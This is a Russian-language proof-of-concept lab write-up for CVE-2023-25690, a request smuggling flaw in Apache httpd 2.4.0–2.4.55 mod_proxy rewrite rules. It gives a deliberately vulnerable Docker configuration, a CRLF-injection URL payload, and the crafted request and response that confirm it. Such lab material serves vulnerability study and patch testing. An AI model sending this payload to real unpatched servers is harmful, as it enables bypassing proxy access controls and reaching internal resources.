
CVE 2023 25690 Доказательство концепции - уязвимая конфигурация mod_proxy на Apache HTTP Server версий 2.4.0 - 2.4.55 приводит к уязвимости HTTP Request Smuggling.
Опубликовано: 7 марта 2023 года
| Базовая оценка | Конфиденциальность | Влияние на целостность | Влияние на доступность |
|---|---|---|---|
| 9.8 | Высокое | Высокое | Высокое |

Некоторые конфигурации mod_proxy в Apache HTTP Server версиях 2.4.0 по 2.4.55 допускают атаку контрабандой HTTP-запросов. Уязвимыми являются конфигурации, в которых mod_proxy включён вместе с какой-либо формой RewriteRule или ProxyPassMatch, где неспецифический шаблон соответствует некоторой части переданного пользователем целевого запроса (URL) и затем повторно вставляется в проксируемый целевой запрос с помощью подстановки переменных. Например, что-то вроде:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
Разделение/контрабанда запросов может привести к обходу средств контроля доступа на прокси-сервере, проксированию непредусмотренных URL-адресов на существующие исходные серверы и отравлению кэша. Пользователям рекомендуется обновиться как минимум до версии 2.4.56 Apache HTTP Server.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Наличие RewriteEngine on в конфигурации Apache включает механизм переписывания URL. Переписывание URL — это техника, которая позволяет веб-серверам динамически изменять URL-адреса, запрашиваемые браузером клиента, на другой URL-адрес перед обслуживанием контента.
Например, предположим, что у нас есть следующая структура URL для интернет-магазина:
https://example-shop.com/categories/1
Предположим следующую директиву RewriteRule в файле конфигурации Apache:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Когда пользователь запрашивает URL https://example-shop.com/categories/1, RewriteRule сопоставит URL и захватит значение 1 с помощью регулярного выражения ^/categories/(.*). Затем правило переписывает URL на http://example-shop.com:8080/categories?id=1, добавляя захваченное значение к переписанному URL в качестве параметра запроса id.
Поскольку в правиле присутствует флаг [P], Apache обработает переписанный URL как прокси-запрос и перешлёт его целевому серверу по адресу http://example-shop.com:8080/categories с параметром запроса id, установленным в 1. Целевой сервер затем обработает запрос и отправит ответ обратно в Apache, который перешлёт его клиенту.
Таким образом, директива RewriteRule с флагом [P] используется для переписывания URL и их проксирования на другой сервер. В данном случае правило сопоставляет URL-адреса, начинающиеся с /categories/, и добавляет захваченное значение в качестве параметра запроса id к переписанному URL. Затем Apache пересылает запрос целевому серверу, который обрабатывает запрос и возвращает ответ.
Наконец, что касается ProxyPassReverse /categories/ http://example-shop.com:8080/, эта строка просто заменяет домен и путь внутреннего сервера на домен и путь прокси-сервера, чтобы клиент мог корректно переходить по ссылкам и получать доступ к контенту от проксируемого внутреннего сервера так, как если бы он обслуживался напрямую прокси-сервером.

Для имитации уязвимости в Apache мы будем использовать httpd версии 2.4.55. Кроме того, весь стенд будет развёрнут в Docker для простоты настройки, конфигурирования и воспроизводимости.
Структура файлов стенда будет следующей:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
Итоговая конфигурация httpd.conf выглядит следующим образом:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Используйте команду docker-compose.exe up --build для запуска стенда.
В этом разделе я объясню, как CRLF-инъекция может привести к внутренней контрабанде HTTP-запросов, позволяя атакующему получить несанкционированный доступ к внутренним ресурсам, которые в противном случае были бы недоступны.
Согласно описанию рекомендации, httpd <=2.4.55 уязвим к разделению HTTP-ответов, также известному как CRLF-инъекция.
CRLF-инъекция возникает, когда:
что в нашем случае можно подтвердить, передав следующий CRLF-префикс в URL:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
Добавив указанный выше префикс к URL, итоговый запрос будет выглядеть следующим образом:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
После запроса сервер обработает данные и вернёт код ответа 200, указывающий на уязвимость к CRLF-инъекции.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Более подробную информацию о разделении HTTP-запросов можно найти здесь: https://owasp.org/www-community/attacks/HTTP_Response_Splitting